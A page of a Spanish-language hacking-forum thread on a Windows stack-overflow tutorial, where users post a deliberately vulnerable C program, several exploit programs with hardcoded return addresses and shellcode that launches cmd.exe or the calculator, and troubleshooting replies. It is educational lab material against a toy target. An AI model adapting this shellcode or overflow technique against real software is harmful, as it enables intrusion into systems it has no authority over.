elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
30 Agosto 2008, 08:04  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  <-!-> Taller de Stack Overflows en Windows, por Rojodos
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 [3] 4 Ir Abajo Imprimir
Autor Tema: <-!-> Taller de Stack Overflows en Windows, por Rojodos  (Leído 18562 veces)
sch3m4
Colaborador

Desconectado Desconectado

Mensajes: 1.516


Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #30 en: 25 Febrero 2006, 15:09 »

bueno, ya lo solucione, aqui os pongo el code:

Código:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

int main()
{
//buffer
char EvilBuffer[1024]="\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
//direccion de jmp esp de ntdll.dll WinXP SP1 Español
char Offset[]="\xCC\x59\xFA\x77";
/*Shellcode con la llamada a system("cmd.exe");
Offset de la funcion system en msvcrt.dll: 0x77bf8044
*/
char ShellCode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6"
"\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45"
"\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE"
"\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";
/*
HMODULE Dll=LoadLibrary("msvcrt.dll");
    __asm{
        push ebp
        mov ebp,esp
        xor edi,edi
        push edi
        sub esp,04h
        mov byte ptr [ebp-08h],63h
        mov byte ptr [ebp-07h],6Dh
        mov byte ptr [ebp-06h],64h
        mov byte ptr [ebp-05h],2Eh
        mov byte ptr [ebp-04h],65h
        mov byte ptr [ebp-03h],78h
        mov byte ptr [ebp-02h],65h
        lea eax,[ebp-08h]
        push eax
        mov ebx,0x77bf8044//Offset de la funcion system en msvcrt.dll
        call ebx
        }
    FreeLibrary(Dll);
*/

//creamos el parametro: Buffer + Offset + ShellCode
strcat(EvilBuffer,Offset);
strcat(EvilBuffer,ShellCode);
//explotamos }:-D
ShellExecute(NULL,"OPEN","vulnl.exe",EvilBuffer,NULL,true);
return 0;
}
En línea


Primero te pasan por alto,despues te ridiculizan,luego luchan contra ti y,finalmente, tú ganas.


Proyecto Open Source - PExtractor v0.19b
Dark_Knight

Desconectado Desconectado

Mensajes: 98



Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #31 en: 29 Marzo 2007, 00:24 »

hola

tengo un problemacon el exploit.. cuando lo ejecuto me aparece algo asi....


AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLL▲ò|Uïý3 Wâý♦ãE°cãE¨mãE·dãE¹.ãE³eãE²xãE■eìE°P╗Ãô┐w Ë

que estoy haciendo mal...

y tengo una pregunta... cuando analizo los jmp de ntdll.dll me aparecen dos.. que hago... coloco los 2 jmp que me aparecen o solo coloco uno de los dos...

espero su respuesta.. gracias  ;D
En línea

El hombre no puede crear nada sin antes dar algo a cambio... para crear... algo del mismo valor debe perderse.... esa es la ley de la equivalencia de intercambio... y el que desafie esa ley se convertira en un desafio de las creencias del ser humano y de la existencia de dios....
bochan

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #32 en: 26 Abril 2007, 14:54 »

No entiendo por que este array: char EvilBuffer[1024], es de 1024... no tendria q ser de 64 para que se produzca el overflow???
saludos
En línea
Crack_X
Anti-War
Colaborador

Desconectado Desconectado

Mensajes: 2.324


Peace & Love


Ver Perfil WWW
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #33 en: 26 Abril 2007, 17:50 »

Debe ser mayor que 64 para producirse el overflow.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
bochan

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #34 en: 26 Abril 2007, 19:52 »

Pero si es mayor de 64 no se produce overflow si le metes las mismas As q si es de 64

saludos
En línea
_Xerks_

Desconectado Desconectado

Mensajes: 35


Díselo a mi brillante culo metálico.


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #35 en: 26 Abril 2007, 22:48 »

Hola a todos, quería en principio felicitar a Rojodos por este magnífico tutorial de "Stack Overflows en Windows", me ha encantado.  ;)

Por si a alguien le resultara de ayuda posteo los códigos que adapté para mi Windows Xp SP2 Esp., compilados con Dev CPP.

Vuln1.c

Código:
#include <stdio.h>  // librería stdio.h, funciones básicas de Entrada/Salida
#include <string.h>

int main (int argc, char **argv){  // La función "principal" del programa

    char buffer[64]; //Declaramos un array con 64 bytes de espacio
    if (argc < 2){  // Si los argumentos son menores que 2...
        printf ("Introduzca un argumento al programa\n"); //Printeamos   
        return 0;  // y retornamos 0 a la función main, y el programa acaba
        }
    strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.

    return 0;  // Devolvemos 0 a main, y el programa acaba.
}



exploit_vuln1.c

Código:
#include <stdio.h>
#include <stdlib.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3";

    char offset[]="\xED\x1E\x95\x7C";
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vuln1";
    argv[1] = evilbuffer;
    argv[2] = NULL;
   
    execv ("vuln1.exe",argv);
    }

Un salu2.
« Última modificación: 26 Abril 2007, 22:50 por _Xerks_ » En línea
bochan

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #36 en: 26 Abril 2007, 23:01 »

Tengo el mismo codigo que _Xerks_ y a mi no me funciona:
Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <windows.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFD\xD3";

    char offset[]="\xED\x1E\x95\x7C";
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vuln1";
    argv[1] = evilbuffer;
    argv[2] = NULL;
   
    execv ("vuln1.exe",argv);
    }
Uso winXp SP2
En línea
_Xerks_

Desconectado Desconectado

Mensajes: 35


Díselo a mi brillante culo metálico.


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #37 en: 26 Abril 2007, 23:12 »

Hola Bochan, fíjate en esto...

Mi código:
Código:
"\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3"

Tu código:
\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFD\xD3"]

Ya no es el mismo código  ;)

Un salu2.
En línea
bochan

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #38 en: 26 Abril 2007, 23:16 »

Aunque lo cambie no me hace nada.... q compilador usas Dev-cpp?? Ya estoy deseperado porque lo ejecute y no hace nada de nada me tiene harto, llevo 5 dias con esto no veas lo q me esta costando

saludos
En línea
_Xerks_

Desconectado Desconectado

Mensajes: 35


Díselo a mi brillante culo metálico.


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #39 en: 26 Abril 2007, 23:22 »

Hola de nuevo, si, uso Dev Cpp, sólo por descartar posibles errores chorras, me imagino q´tienes compilado el Vuln1.c, y lo debes tener en la misma carpeta donde tengas compilado el exploit_vuln1.c, de no ser así, si exploit_vuln1.exe no encuentra a vuln1.exe no funcionará.

Un saludo.
« Última modificación: 27 Abril 2007, 07:21 por _Xerks_ » En línea
bochan

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #40 en: 27 Abril 2007, 01:27 »

LoL tio era esooo!!!! tenia el vuln1.exe fuera de la carpeta de exploit_vul.exe
joder q pardillo toy echo como se nota que soy novato....

gracias por la ayuda
En línea
Crack_X
Anti-War
Colaborador

Desconectado Desconectado

Mensajes: 2.324


Peace & Love


Ver Perfil WWW
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #41 en: 27 Abril 2007, 01:29 »

Pero si es mayor de 64 no se produce overflow si le metes las mismas As q si es de 64

saludos

Veamos, si tienes un vaso de 64 cc o lo que quieras... y le hechas 64cc de agua, pues esta lleno pero no se sale el agua porque cupo perfectamente, es lo que aguanta. Si le hechas 100cc de agua a un vaso que solamente puede contener 64cc pues se desborda, se produce un overflow. El overflow es poner mas de lo que aguanta. El buffer es de 64, si le pones de mas pues se desborda.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
bochan

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #42 en: 27 Abril 2007, 12:55 »

 Ok ya entendi todo es que me lie con los arrays de 64 y de 1024 jaja gracias por la ayuda
En línea
_Xerks_

Desconectado Desconectado

Mensajes: 35


Díselo a mi brillante culo metálico.


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #43 en: 28 Abril 2007, 21:42 »

Hola de nuevo, he cambiado la shellcode para que en lugar de devolvernos al cmd ejecute la calculadora de windows, es una tonteria, pero lo posteo sólo para jugar con el exploit viendo un resultado diferente.

exploit_vuln1_calc.c

Código:
#include <stdio.h>
#include <stdlib.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xFB\x63\xC6\x45\xFC\x61\xC6\x45\xFD\x6C\xC6\x45\xFE\x63\x8D\x45\xFB\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";

    char offset[]="\xED\x1E\x95\x7C";
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vuln1";
    argv[1] = evilbuffer;
    argv[2] = NULL;
   
    execv ("vuln1.exe",argv);
    }

Un saludo.
En línea
Deka_10

Desconectado Desconectado

Mensajes: 199



Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #44 en: 20 Junio 2007, 17:40 »

la pagina se ha muerto, lo vuelves a subir?
En línea

Islam != Terrorism
Páginas: 1 2 [3] 4 Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC